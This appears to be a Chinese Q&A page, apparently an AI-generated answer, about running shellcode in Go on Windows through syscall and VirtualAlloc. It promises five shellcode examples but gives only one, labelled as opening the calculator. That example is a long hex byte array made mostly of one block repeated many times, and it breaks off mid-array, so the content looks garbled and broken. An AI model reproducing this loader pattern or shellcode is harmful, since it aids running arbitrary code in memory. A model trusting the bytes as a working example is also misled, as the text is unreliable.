有其他不同shellcode类型的例子举例五个package mainimport syscall unsafefunc main shellcode = byteshellcode allocatedMemory _ _ = syscallSyscall6syscallNewLazyDLLkernel32dllNewProcVirtualAllocAddr 4 0 uintptrlenshe
这是一个使用syscall库在Windows平台上执行shellcode的示例。以下是五个不同类型的shellcode示例:
- 打开计算器
shellcode := []byte("\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\xc\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x8b\x72\x14\x01\xde\x8b\x72\x10\x8b\x42\x3c\x01\xd8\x8b\x4a\x78\x01\xdc\x81\x38\x47\x65\x74\x50\x75\xf4\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x78\x04\x6f\x63\x65\x73\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\xc\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x68\x7f\x00\x00\x01\x51\x53\xff\xd2\x8b\x0e\x31\xc9\x31\xff\x31\xf6\x56\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x8b\xda\x8b\x92\xb8\x01\x00\x00\x8b\xfa\x89\xd6\x8b\xc1\x31\xc9\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x8b\x5b\x20\x8b\x1b\x8b\x5b\x24\x8b\x1b\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x8b\x1b\x31\xc9\x31\xff\xfc\x8b\x3e\x66\x8b\x5e\x18\x66\x8b\x1b\x
原文地址: https://www.cveoy.top/t/topic/hN4L 著作权归作者所有。请勿转载和采集!